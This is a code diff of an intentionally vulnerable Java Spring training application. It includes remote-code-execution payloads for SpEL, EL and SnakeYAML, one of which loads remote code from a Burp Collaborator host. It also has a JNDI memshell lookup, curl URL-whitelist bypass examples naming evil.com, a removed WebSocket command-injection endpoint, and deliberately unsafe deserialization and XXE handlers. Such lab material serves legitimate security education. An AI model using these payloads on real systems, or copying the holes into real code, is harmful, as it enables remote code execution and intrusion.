- * #{T(java.lang.Runtime).getRuntime().exec('open -a Calculator')} - * Exploit must add #{} if using TemplateParserContext. - */ - @RequestMapping("spel/vuln2") - public String spel_vuln2(String value) { - StandardEvaluationContext context = new StandardEvaluationContext(); - SpelExpressionParser parser = new SpelExpressionParser(); - Expression expression = parser.parseExpression(value, new TemplateParserContext()); - Object x = expression.getValue(context); // trigger vulnerability point - return x.toString(); // response - } - - /** - * Use SimpleEvaluationContext to fix. - */ - @RequestMapping("spel/sec") - public String spel_sec(String value) { - SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build(); - SpelExpressionParser parser = new SpelExpressionParser(); - Expression expression = parser.parseExpression(value, new TemplateParserContext()); - Object x = expression.getValue(context); - return x.toString(); + // fix method: SimpleEvaluationContext + return parser.parseExpression(expression).getValue().toString(); } public static void main(String[] args) { ExpressionParser parser = new SpelExpressionParser(); - String expression = "1+1"; + String expression = "T(java.lang.Runtime).getRuntime().exec(\"open -a Calculator\")"; String result = parser.parseExpression(expression).getValue().toString(); System.out.println(result); } - } diff --git a/src/main/java/org/joychou/controller/Spring4Shell.java b/src/main/java/org/joychou/controller/Spring4Shell.java new file mode 100644 index 00000000..c4c88902 --- /dev/null +++ b/src/main/java/org/joychou/controller/Spring4Shell.java @@ -0,0 +1,22 @@ +package org.joychou.controller; + +import org.joychou.dao.User; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +@RestController +public class Spring4Shell { + @RequestMapping("/login2") + public void login2(@RequestBody User user) { + System.out.println(user.getUsername()); + System.out.println(user.getPassword()); + } + + + @RequestMapping("/login3") + public void login3(User user) { + System.out.println(user.getUsername()); + System.out.println(user.getPassword()); + } +} diff --git a/src/main/java/org/joychou/controller/Test.java b/src/main/java/org/joychou/controller/Test.java new file mode 100644 index 00000000..524a2422 --- /dev/null +++ b/src/main/java/org/joychou/controller/Test.java @@ -0,0 +1,101 @@ +package org.joychou.controller; + +//import com.feihong.ldap.template.SpringMemshellTemplate; +//import com.unboundid.util.Base64; +//import org.joychou.util.ClassUtil; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.el.ELProcessor; +import javax.naming.NamingException; +import javax.script.ScriptEngine; +import javax.script.ScriptEngineManager; +import javax.script.ScriptException; +import javax.servlet.http.Cookie; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.nio.charset.StandardCharsets; + +@RestController +@RequestMapping("/test") +public class Test { + + @RequestMapping(value = "/") + public String Index(HttpServletResponse response, String empId) { + + System.out.println(empId); + Cookie cookie = new Cookie("XSRF-TOKEN", "123"); + cookie.setDomain("taobao.com"); + cookie.setMaxAge(-1); // forever time + response.addCookie(cookie); + return "success"; + } + + + @RequestMapping(value = "/aa") + public void test(HttpServletResponse response, String empId) { + + System.out.println(empId); + Cookie cookie = new Cookie("XSRF-TOKEN", "123"); + cookie.setDomain("taobao.com"); + cookie.setMaxAge(-1); // forever time + response.addCookie(cookie); + } + + public static void main(String[] args) throws NamingException { + +// javax.script.ScriptEngineManager scriptEngineManager = (ScriptEngineManager) "".getClass().forName("javax.script.ScriptEngineManager").newInstance(); +// String scriptPayload2= "s=[3];s[0]='cmd';s[1]='/c';s[2]='calc';java.lang.Runtime.getRuntime().exec(s);"; +// scriptEngineManager.getEngineByName("nashorn").eval(scriptPayload2); +// String test="var a = mainOutput(); function mainOutput() { var x=java.lang.Runtime.getRuntime().exec('calc')};"; +// ScriptEngineManager manager = new ScriptEngineManager(null); +// ScriptEngine engine = manager.getEngineByName("js"); +// engine.eval(test); + + ELProcessor elProcessor = new ELProcessor(); + String elPayload = "''.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval('java.lang.Runtime.getRuntime().exec(\"calc\");')"; + String elPayload2= "''.getClass().forName('jdk.jshell.JShell').getMethod('create').invoke(null).eval('java.lang.Runtime.getRuntime().exec(\"calc\")')"; + elProcessor.eval(elPayload2); + // String clientInfo = "rdp-sys:1"; +// String secret = Base64.encode(clientInfo.getBytes(StandardCharsets.UTF_8)); +// String header = String.format("%s %s", "X-ZJMZXFZHL-INNER-APP ", secret); +// System.out.println(header); + +// new org.springframework.jndi.JndiLocatorDelegate().lookup("ldap://a.b.c.d:1389/TomcatBypass/SpringMemshell"); + } + +// public static void testMemShell(){ +// Class clazz = SpringMemshellTemplate.class; +// String classCode = null; +// try { +// classCode = ClassUtil.getClassCode(clazz); +// } catch (Exception e) { +// e.printStackTrace(); +// } +// ; +// byte[] bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64(classCode); +// ClassLoader classLoader = java.lang.Thread.currentThread().getContextClassLoader(); +// try{ +// clazz = classLoader.loadClass(clazz.getName()); +// clazz.newInstance(); +// }catch(Exception e) { +// try { +// Method method = ClassLoader.class.getDeclaredMethod("defineClass", "".getBytes().getClass(), Integer.TYPE, Integer.TYPE); +// method.setAccessible(true); +// Class clazz2 = (Class) method.invoke(classLoader, bytes, 0, bytes.length); +// clazz2.newInstance(); +// } catch (NoSuchMethodException ex) { +// ex.printStackTrace(); +// } catch (InvocationTargetException invocationTargetException) { +// invocationTargetException.printStackTrace(); +// } catch (IllegalAccessException illegalAccessException) { +// illegalAccessException.printStackTrace(); +// } catch (InstantiationException instantiationException) { +// instantiationException.printStackTrace(); +// } +// +// e.printStackTrace(); +// } +// } +} diff --git a/src/main/java/org/joychou/controller/URLWhiteList.java b/src/main/java/org/joychou/controller/URLWhiteList.java index 156cc73d..35d37576 100644 --- a/src/main/java/org/joychou/controller/URLWhiteList.java +++ b/src/main/java/org/joychou/controller/URLWhiteList.java @@ -6,8 +6,7 @@ import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.*; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; +import java.net.MalformedURLException; import java.net.URL; import java.util.ArrayList; import java.util.regex.Matcher; @@ -87,21 +86,20 @@ public String regex(@RequestParam("url") String url) { /** - * The bypass of using {@link java.net.URL} to getHost. + * The bypass of using java.net.URL to getHost. *

- * bypass 1 - * bypass 2 - * + * Bypass poc1: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evel.com%5c@www.joychou.org/a.html' + * Bypass poc2: curl -v 'http://localhost:8080/url/vuln/url_bypass?url=http://evil.com%5cwww.joychou.org/a.html' *

- * More details + * More details: https://github.com/JoyChou93/java-sec-code/wiki/URL-whtielist-Bypass */ @GetMapping("/vuln/url_bypass") - public void url_bypass(String url, HttpServletResponse res) throws IOException { + public String url_bypass(String url) throws MalformedURLException { logger.info("url: " + url); if (!SecurityUtil.isHttp(url)) { - return; + return "Url is not http or https"; } URL u = new URL(url); @@ -111,10 +109,11 @@ public void url_bypass(String url, HttpServletResponse res) throws IOException { // endsWith . for (String domain : domainwhitelist) { if (host.endsWith("." + domain)) { - res.sendRedirect(url); + return "Good url."; } } + return "Bad url."; } diff --git a/src/main/java/org/joychou/controller/WebSockets.java b/src/main/java/org/joychou/controller/WebSockets.java deleted file mode 100644 index 6a477ece..00000000 --- a/src/main/java/org/joychou/controller/WebSockets.java +++ /dev/null @@ -1,76 +0,0 @@ -package org.joychou.controller; - -import org.apache.tomcat.websocket.server.WsServerContainer; -import org.joychou.config.WebSocketsProxyEndpoint; -import org.joychou.config.WebSocketsCmdEndpoint; -import org.springframework.web.bind.annotation.RequestMapping; -import org.springframework.web.bind.annotation.RestController; - -import javax.servlet.ServletContext; -import javax.servlet.http.HttpServletRequest; -import javax.websocket.server.ServerContainer; -import javax.websocket.server.ServerEndpointConfig; - - -@RestController -public class WebSockets { - - /** - *

动态添加WebSockets实现命令执行

- *

- * 1. WebSocket的端口和Spring端口一致。
- * 2. 如果应用需要登录,动态添加的WebSocket路由不能要求被登录,否则添加失败。 - *

- *

- * http://localhost:8080/websocket/cmd?path=/ws/shell
- * WebSockets 的URL为ws://127.0.0.1:8080/ws/shell - *

- *

JoyChou @ 2023年02月20日

- */ - @RequestMapping("/websocket/cmd") - public String cmdInject(HttpServletRequest req) { - String path = req.getParameter("path"); - if (path == null) { - return "path is null"; - } - ServletContext sc = req.getServletContext(); - try { - ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsCmdEndpoint.class, path).build(); - WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName()); - if (wsc.findMapping(path) == null) { - wsc.addEndpoint(sec); - System.out.println("[+] Websocket: " + path + " inject success!!!"); - return "[+] Websocket: " + path + " inject success!!!"; - } else { - System.out.println("[-] Websocket: " + path + " has been injected!"); - return "[-] Websocket: " + path + " has been injected!"; - } - } catch (Exception e) { - return e.toString(); - } - } - - @RequestMapping("/websocket/proxy") - public String proxyInject(HttpServletRequest req) { - String path = req.getParameter("path"); - if (path == null) { - return "path is null"; - } - ServletContext sc = req.getServletContext(); - try { - ServerEndpointConfig sec = ServerEndpointConfig.Builder.create(WebSocketsProxyEndpoint.class, path).build(); - WsServerContainer wsc = (WsServerContainer) sc.getAttribute(ServerContainer.class.getName()); - if (wsc.findMapping(path) == null) { - wsc.addEndpoint(sec); - System.out.println("[+] Websocket: " + path + " inject success!!!"); - return "[+] Websocket: " + path + " inject success!!!"; - } else { - System.out.println("[-] Websocket: " + path + " has been injected!"); - return "[-] Websocket: " + path + " has been injected!"; - } - } catch (Exception e) { - return e.toString(); - } - } - -} diff --git a/src/main/java/org/joychou/controller/XStreamRce.java b/src/main/java/org/joychou/controller/XStreamRce.java index aa3469bd..62616e95 100644 --- a/src/main/java/org/joychou/controller/XStreamRce.java +++ b/src/main/java/org/joychou/controller/XStreamRce.java @@ -2,7 +2,6 @@ import com.thoughtworks.xstream.XStream; import com.thoughtworks.xstream.io.xml.DomDriver; -import com.thoughtworks.xstream.security.AnyTypePermission; import org.joychou.dao.User; import org.joychou.util.WebUtils; import org.springframework.web.bind.annotation.PostMapping; @@ -25,9 +24,20 @@ public class XStreamRce { public String parseXml(HttpServletRequest request) throws Exception { String xml = WebUtils.getRequestBody(request); XStream xstream = new XStream(new DomDriver()); - xstream.addPermission(AnyTypePermission.ANY); // This will cause all XStream versions to be affected. xstream.fromXML(xml); return "xstream"; } + public static void main(String[] args) { + User user = new User(); + user.setId(0); + user.setUsername("admin"); + + XStream xstream = new XStream(new DomDriver()); + String xml = xstream.toXML(user); // Serialize + System.out.println(xml); + + user = (User) xstream.fromXML(xml); // Deserialize + System.out.println(user.getId() + ": " + user.getUsername()); + } } diff --git a/src/main/java/org/joychou/controller/XXE.java b/src/main/java/org/joychou/controller/XXE.java index 58e90739..931a5688 100644 --- a/src/main/java/org/joychou/controller/XXE.java +++ b/src/main/java/org/joychou/controller/XXE.java @@ -4,9 +4,6 @@ import org.dom4j.io.SAXReader; import org.slf4j.Logger; import org.slf4j.LoggerFactory; -import org.springframework.data.web.ProjectedPayload; -import org.springframework.http.HttpEntity; -import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; import javax.servlet.http.HttpServletRequest; @@ -30,7 +27,6 @@ import org.apache.commons.digester3.Digester; import org.jdom2.input.SAXBuilder; import org.joychou.util.WebUtils; -import org.xmlbeam.annotation.XBRead; /** * Java xxe vuln and security code. @@ -42,8 +38,8 @@ @RequestMapping("/xxe") public class XXE { - private static final Logger logger = LoggerFactory.getLogger(XXE.class); - private static final String EXCEPT = "xxe except"; + private static Logger logger = LoggerFactory.getLogger(XXE.class); + private static String EXCEPT = "xxe except"; @PostMapping("/xmlReader/vuln") public String xmlReaderVuln(HttpServletRequest request) { @@ -230,15 +226,16 @@ public String DigesterSec(HttpServletRequest request) { } - /** - * Use request.getInputStream to support UTF16 encoding. - */ - @RequestMapping(value = "/DocumentBuilder/vuln", method = RequestMethod.POST) - public String DocumentBuilderVuln(HttpServletRequest request) { + // 有回显 + @RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST) + public String DocumentBuilderVuln01(HttpServletRequest request) { try { + String body = WebUtils.getRequestBody(request); + logger.info(body); DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); DocumentBuilder db = dbf.newDocumentBuilder(); - InputSource is = new InputSource(request.getInputStream()); + StringReader sr = new StringReader(body); + InputSource is = new InputSource(sr); Document document = db.parse(is); // parse xml // 遍历xml节点name和value @@ -252,14 +249,51 @@ public String DocumentBuilderVuln(HttpServletRequest request) { buf.append(String.format("%s: %s\n", node.getNodeName(), node.getTextContent())); } } + sr.close(); return buf.toString(); } catch (Exception e) { - e.printStackTrace(); logger.error(e.toString()); - return e.toString(); + return EXCEPT; + } + } + + + // 有回显 + @RequestMapping(value = "/DocumentBuilder/vuln02", method = RequestMethod.POST) + public String DocumentBuilderVuln02(HttpServletRequest request) { + try { + String body = WebUtils.getRequestBody(request); + logger.info(body); + + DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); + DocumentBuilder db = dbf.newDocumentBuilder(); + StringReader sr = new StringReader(body); + InputSource is = new InputSource(sr); + Document document = db.parse(is); // parse xml + + // 遍历xml节点name和value + StringBuilder result = new StringBuilder(); + NodeList rootNodeList = document.getChildNodes(); + for (int i = 0; i < rootNodeList.getLength(); i++) { + Node rootNode = rootNodeList.item(i); + NodeList child = rootNode.getChildNodes(); + for (int j = 0; j < child.getLength(); j++) { + Node node = child.item(j); + // 正常解析XML,需要判断是否是ELEMENT_NODE类型。否则会出现多余的的节点。 + if (child.item(j).getNodeType() == Node.ELEMENT_NODE) { + result.append(String.format("%s: %s\n", node.getNodeName(), node.getFirstChild())); + } + } + } + sr.close(); + return result.toString(); + } catch (Exception e) { + logger.error(e.toString()); + return EXCEPT; } } + @RequestMapping(value = "/DocumentBuilder/Sec", method = RequestMethod.POST) public String DocumentBuilderSec(HttpServletRequest request) { try { @@ -412,32 +446,7 @@ private static void response(NodeList rootNodeList){ } } - /** - * Receiving POST requests supporting both JSON and XML. - * CVE-2018-1259 - */ - @PostMapping(value = "/xmlbeam/vuln") - HttpEntity post(@RequestBody UserPayload user) { - try { - logger.info(user.toString()); - return ResponseEntity.ok(String.format("hello, %s!", user.getUserName())); - }catch (Exception e){ - e.printStackTrace(); - return ResponseEntity.ok("error"); - } - } - - /** - * The projection interface using XPath and JSON Path expression to selectively pick elements from the payload. - */ - @ProjectedPayload - public interface UserPayload { - @XBRead("//userName") - String getUserName(); - } - - public static void main(String[] args) { - + public static void main(String[] args) { } } \ No newline at end of file diff --git a/src/main/java/org/joychou/controller/Yaml.java b/src/main/java/org/joychou/controller/Yaml.java new file mode 100644 index 00000000..63a54960 --- /dev/null +++ b/src/main/java/org/joychou/controller/Yaml.java @@ -0,0 +1,23 @@ +package org.joychou.controller; + +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RestController; + +import javax.naming.InitialContext; +import javax.naming.NamingException; + + +@RestController +public class Yaml { + + /* + org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ['http://kd1t2zb5jo3umbxlxxrfgpswenkj88.burpcollaborator.net/Yaml']]]]') + */ + @GetMapping("/yaml") + public String yaml(String content) { + return new org.yaml.snakeyaml.Yaml().load(content); + } + + public static void main(String[] args) { + } +} diff --git a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java index d3107c3e..ec054ffd 100644 --- a/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java +++ b/src/main/java/org/joychou/controller/othervulns/xlsxStreamerXXE.java @@ -1,6 +1,7 @@ package org.joychou.controller.othervulns; import com.monitorjbl.xlsx.StreamingReader; +import org.apache.poi.ss.usermodel.Workbook; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; diff --git a/src/main/java/org/joychou/dao/User.java b/src/main/java/org/joychou/dao/User.java index 0b8eb3b0..1336f571 100644 --- a/src/main/java/org/joychou/dao/User.java +++ b/src/main/java/org/joychou/dao/User.java @@ -1,11 +1,32 @@ package org.joychou.dao; -import lombok.Data; +import java.io.Serializable; - -@Data -public class User { +public class User implements Serializable { + private static final long serialVersionUID = 1L; private Integer id; private String username; private String password; + + public Integer getId() { + return id; + } + public void setId(Integer id) { + this.id = id; + } + + public String getUsername() { + return username; + } + public void setUsername(String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + public void setPassword(String password) { + this.password = password; + } + } diff --git a/src/main/java/org/joychou/filter/OriginFilter.java b/src/main/java/org/joychou/filter/OriginFilter.java index 271a4562..ee4a5bee 100644 --- a/src/main/java/org/joychou/filter/OriginFilter.java +++ b/src/main/java/org/joychou/filter/OriginFilter.java @@ -1,59 +1,61 @@ -package org.joychou.filter; - - -import javax.servlet.*; -import javax.servlet.annotation.WebFilter; -import javax.servlet.http.HttpServletRequest; -import javax.servlet.http.HttpServletResponse; -import java.io.IOException; -import org.joychou.security.SecurityUtil; -import org.slf4j.Logger; -import org.slf4j.LoggerFactory; - - -/** - * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。 - * - * @author JoyChou @ 2019.12.19 - */ -@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter") -public class OriginFilter implements Filter { - - @Override - public void init(FilterConfig filterConfig) throws ServletException { - - } - - private final Logger logger = LoggerFactory.getLogger(this.getClass()); - - @Override - public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) - throws IOException, ServletException { - - HttpServletRequest request = (HttpServletRequest) req; - HttpServletResponse response = (HttpServletResponse) res; - - String origin = request.getHeader("Origin"); - logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL()); - - // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑 - if (origin != null && SecurityUtil.checkURL(origin) == null) { - logger.error("[-] Origin check error. " + "Origin: " + origin + - "\tCurrent url:" + request.getRequestURL()); - response.setStatus(response.SC_FORBIDDEN); - response.getWriter().println("Invaid cors config by joychou."); - return; - } - - response.setHeader("Access-Control-Allow-Origin", origin); - response.setHeader("Access-Control-Allow-Credentials", "true"); - response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION"); - - filterChain.doFilter(req, res); - } - - @Override - public void destroy() { - - } -} +//package org.joychou.filter; +// +// +//import javax.servlet.*; +//import javax.servlet.annotation.WebFilter; +//import javax.servlet.http.HttpServletRequest; +//import javax.servlet.http.HttpServletResponse; +//import java.io.IOException; +// +//import org.apache.catalina.servlet4preview.http.HttpFilter; +//import org.joychou.security.SecurityUtil; +//import org.slf4j.Logger; +//import org.slf4j.LoggerFactory; +// +// +///** +// * 推荐使用该全局方案修复Cors跨域漏洞,因为可以校验一级域名。 +// * +// * @author JoyChou @ 2019.12.19 +// */ +//@WebFilter(filterName = "OriginFilter", urlPatterns = "/cors/sec/originFilter") +//public class OriginFilter implements Filter { +// +// @Override +// public void init(FilterConfig filterConfig) throws ServletException { +// +// } +// +// private final Logger logger = LoggerFactory.getLogger(this.getClass()); +// +// @Override +// public void doFilter(ServletRequest req, ServletResponse res, FilterChain filterChain) +// throws IOException, ServletException { +// +// HttpServletRequest request = (HttpServletRequest) req; +// HttpServletResponse response = (HttpServletResponse) res; +// +// String origin = request.getHeader("Origin"); +// logger.info("[+] Origin: " + origin + "\tCurrent url:" + request.getRequestURL()); +// +// // 以file协议访问html,origin为字符串的null,所以依然会走安全check逻辑 +// if (origin != null && SecurityUtil.checkURL(origin) == null) { +// logger.error("[-] Origin check error. " + "Origin: " + origin + +// "\tCurrent url:" + request.getRequestURL()); +// response.setStatus(response.SC_FORBIDDEN); +// response.getWriter().println("Invaid cors config by joychou."); +// return; +// } +// +// response.setHeader("Access-Control-Allow-Origin", origin); +// response.setHeader("Access-Control-Allow-Credentials", "true"); +// response.setHeader("Access-Control-Allow-Methods", "GET, POST, OPTION"); +// +// filterChain.doFilter(req, res); +// } +// +// @Override +// public void destroy() { +// +// } +//} diff --git a/src/main/java/org/joychou/impl/HttpServiceImpl.java b/src/main/java/org/joychou/impl/HttpServiceImpl.java deleted file mode 100644 index d3bbf3a1..00000000 --- a/src/main/java/org/joychou/impl/HttpServiceImpl.java +++ /dev/null @@ -1,44 +0,0 @@ -package org.joychou.impl; - - -import org.joychou.service.HttpService; -import org.springframework.http.HttpEntity; -import org.springframework.http.HttpHeaders; -import org.springframework.http.ResponseEntity; -import org.springframework.stereotype.Service; -import org.springframework.web.client.RestTemplate; -import org.springframework.http.HttpMethod; - -import javax.annotation.Resource; - -@Service -public class HttpServiceImpl implements HttpService { - - @Resource - private RestTemplate restTemplate; - - @Resource - private RestTemplate restTemplateBanRedirects; - - /** - * Http request by RestTemplate. Only support HTTP protocol.

- * Redirects: GET HttpMethod follow redirects by default, other HttpMethods do not follow redirects.

- * User-Agent: Java/1.8.0_102

- */ - public String RequestHttp(String url, HttpHeaders headers) { - HttpEntity entity = new HttpEntity<>(headers); - ResponseEntity re = restTemplate.exchange(url, HttpMethod.GET, entity, String.class); - return re.getBody(); - } - - /** - * Http request by RestTemplate. Only support HTTP protocol.

- * Redirects: Disable followRedirects.

- * User-Agent: Java/1.8.0_102

- */ - public String RequestHttpBanRedirects(String url, HttpHeaders headers) { - HttpEntity entity = new HttpEntity<>(headers); - ResponseEntity re = restTemplateBanRedirects.exchange(url, HttpMethod.GET, entity, String.class); - return re.getBody(); - } -} diff --git a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java index 4f8ad327..2e1df795 100644 --- a/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java +++ b/src/main/java/org/joychou/security/CsrfAccessDeniedHandler.java @@ -29,7 +29,7 @@ public void handle(HttpServletRequest request, HttpServletResponse response, response.setContentType(MediaType.TEXT_HTML_VALUE); // content-type: text/html response.setStatus(HttpServletResponse.SC_FORBIDDEN); // 403 forbidden - response.getWriter().write("403 forbidden by JoyChou."); // response contents + response.getWriter().write("CSRF check failed by JoyChou."); // response contents } } diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index fef14593..ee962846 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -18,7 +18,7 @@ public class SecurityUtil { private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$"); - private final static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); + private static Logger logger = LoggerFactory.getLogger(SecurityUtil.class); /** @@ -116,6 +116,7 @@ public static boolean checkSSRFByWhitehosts(String url) { /** * 解析URL的IP,判断IP是否是内网IP。如果有重定向跳转,循环解析重定向跳转的IP。不建议使用该方案。 + * * 存在的问题: * 1、会主动发起请求,可能会有性能问题 * 2、设置重定向跳转为第一次302不跳转,第二次302跳转到内网IP 即可绕过该防御方案 @@ -133,6 +134,7 @@ public static boolean checkSSRF(String url) { /** * 不能使用白名单的情况下建议使用该方案。前提是禁用重定向并且TTL默认不为0。 + * * 存在问题: * 1、TTL为0会被绕过 * 2、使用重定向可绕过 diff --git a/src/main/java/org/joychou/security/WebSecurityConfig.java b/src/main/java/org/joychou/security/WebSecurityConfig.java index 414fd24d..f3494fe2 100644 --- a/src/main/java/org/joychou/security/WebSecurityConfig.java +++ b/src/main/java/org/joychou/security/WebSecurityConfig.java @@ -8,6 +8,7 @@ import org.springframework.security.config.annotation.web.builders.HttpSecurity; import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter; +import org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder; import org.springframework.security.web.csrf.CookieCsrfTokenRepository; import org.springframework.security.web.util.matcher.RequestMatcher; import org.springframework.web.cors.CorsConfiguration; @@ -34,13 +35,8 @@ public class WebSecurityConfig extends WebSecurityConfigurerAdapter { @Value("${joychou.security.csrf.exclude.url}") private String[] csrfExcludeUrl; - - @Value("${joychou.no.need.login.url}") - private String[] noNeedLoginUrl; - - @Value("${joychou.security.csrf.method}") - private String[] csrfMethod = {"POST"}; + private String[] csrfMethod = {"PUT"}; private RequestMatcher csrfRequestMatcher = new RequestMatcher() { @@ -67,18 +63,16 @@ protected void configure(HttpSecurity http) throws Exception { .ignoringAntMatchers(csrfExcludeUrl) // 不进行csrf校验的uri,多个uri使用逗号分隔 .csrfTokenRepository(new CookieCsrfTokenRepository()); http.exceptionHandling().accessDeniedHandler(new CsrfAccessDeniedHandler()); - - // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse()); + // http.csrf().csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse());« http.cors(); // spring security login settings http.authorizeRequests() - .antMatchers(noNeedLoginUrl).permitAll() // no need to login page - // CVE-2022-22978漏洞代码 - .regexMatchers("/black_path.*").denyAll() // 如果正则匹配到/black_path,则forbidden + .antMatchers("/css/**", "/js/**", "/login2", "/login3").permitAll() // permit static resources .anyRequest().authenticated().and() // any request authenticated except above static resources - .formLogin().loginPage("/login").permitAll() // permit all to access /login page + .formLogin().loginPage("/login") // permit all to access /login page + .permitAll() // permit all to access /login page .successHandler(new LoginSuccessHandler()) .failureHandler(new LoginFailureHandler()).and() .logout().logoutUrl("/logout").permitAll().and() @@ -109,9 +103,13 @@ CorsConfigurationSource corsConfigurationSource() @Autowired public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception { auth - .inMemoryAuthentication() - .withUser("joychou").password("joychou123").roles("USER").and() - .withUser("admin").password("admin123").roles("USER", "ADMIN"); + .inMemoryAuthentication() // 从内存中获取 +// .withUser("joychou").password("joychou123").roles("USER").and() +// .withUser("admin").password("admin123").roles("USER", "ADMIN"); + // SpringBoot升级到了2.0之后的版本,Security也由原来的版本4升级到了5 + .passwordEncoder(new BCryptPasswordEncoder()) + .withUser("admin").password(new BCryptPasswordEncoder().encode("admin123")).roles("USER", "ADMIN").and() + .withUser("cqq").password(new BCryptPasswordEncoder().encode("cqq123")).roles("USER"); } } diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java index c2b3896a..0930e2b5 100644 --- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -16,8 +16,7 @@ public class SSRFChecker { - private static final Logger logger = LoggerFactory.getLogger(SSRFChecker.class); - private static String decimalIp; + private static Logger logger = LoggerFactory.getLogger(SSRFChecker.class); public static boolean checkURLFckSSRF(String url) { if (null == url) { @@ -126,7 +125,7 @@ public static boolean isInternalIpByUrl(String url) { * @param strIP ip字符串 * @return 如果是内网ip,返回true,否则返回false。 */ - public static boolean isInternalIp(String strIP) { + static boolean isInternalIp(String strIP) { if (StringUtils.isEmpty(strIP)) { logger.error("[-] SSRF check failed. IP is empty. " + strIP); return true; @@ -145,151 +144,31 @@ public static boolean isInternalIp(String strIP) { } - /** - * Convert host to decimal ip. - * Since there is a bypass in octal using {@link InetAddress#getHostAddress()}, - * the function of converting octal to decimal is added. - * If it still can be bypassed, please submit - * PullRequests or - * Issues.
+ * host转换为IP + * 会将各种进制的ip转为正常ip + * 167772161 转换为 10.0.0.1 + * 127.0.0.1.xip.io 转换为 127.0.0.1 * - *

Normal:

- *
    - *
  • 69299689 to 10.23.78.233
  • - *
  • 012.0x17.78.233 to 10.23.78.233
  • - *
  • 012.027.0116.0351 to 10.23.78.233
  • - *
  • 127.0.0.1.xip.io to 127.0.0.1
  • - *
  • 127.0.0.1.nip.io to 127.0.0.1
  • - *
- - *

Bypass:

- *
    - *
  • 01205647351 {@link InetAddress#getHostAddress()} result is 71.220.183.247, actually 10.23.78.233
  • - *
  • 012.23.78.233 {@link InetAddress#getHostAddress()} result is 12.23.78.233, actually 10.23.78.233
  • - *
  • 012.23.233 {@link InetAddress#getHostAddress()} result is 12.23.0.233, actually 10.23.0.233
  • - *
  • 012.233 {@link InetAddress#getHostAddress()} result is 12.0.0.233, actually 10.0.0.233
  • - *
- * @return decimal ip + * @param host 域名host */ - public static String host2ip(String host) { - - if (null == host) { - return ""; - } - - // convert octal to decimal - if(isOctalIP(host)) { - host = decimalIp; - } - + private static String host2ip(String host) { try { - // send dns request - InetAddress IpAddress = InetAddress.getByName(host); + InetAddress IpAddress = InetAddress.getByName(host); // send dns request return IpAddress.getHostAddress(); } catch (Exception e) { - logger.error("host2ip exception " + e.getMessage()); return ""; } } - /** - * Check whether the host is an octal IP, if so, convert it to decimal. - * @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false. - */ - public static boolean isOctalIP(String host) { - try{ - String[] ipParts = host.split("\\."); - StringBuilder newDecimalIP = new StringBuilder(); - boolean is_octal = false; - - // Octal ip only has number and dot character. - if (isNumberOrDot(host)) { - - // not support ipv6 - if (ipParts.length > 4) { - logger.error("Illegal ipv4: " + host); - return false; - } - - // 01205647351 - if( ipParts.length == 1 && host.startsWith("0") ) { - decimalIp = Integer.valueOf(host, 8).toString(); - return true; - } - - // 012.23.78.233 - for(String ip : ipParts) { - if (!isNumber(ip)){ - logger.error("Illegal ipv4: " + host); - return false; - } - // start with "0", but not "0" - if (ip.startsWith("0") && !ip.equals("0")) { - if (Integer.valueOf(ip, 8) >= 256){ - logger.error("Illegal ipv4: " + host); - return false; - } - newDecimalIP.append(Integer.valueOf(ip, 8)).append("."); - is_octal = true; - }else{ - if (Integer.valueOf(ip, 10) >= 256) { - logger.error("Illegal ipv4: " + host); - return false; - } - newDecimalIP.append(ip).append("."); - } - } - // delete last char . - decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf(".")); - } - return is_octal; - } 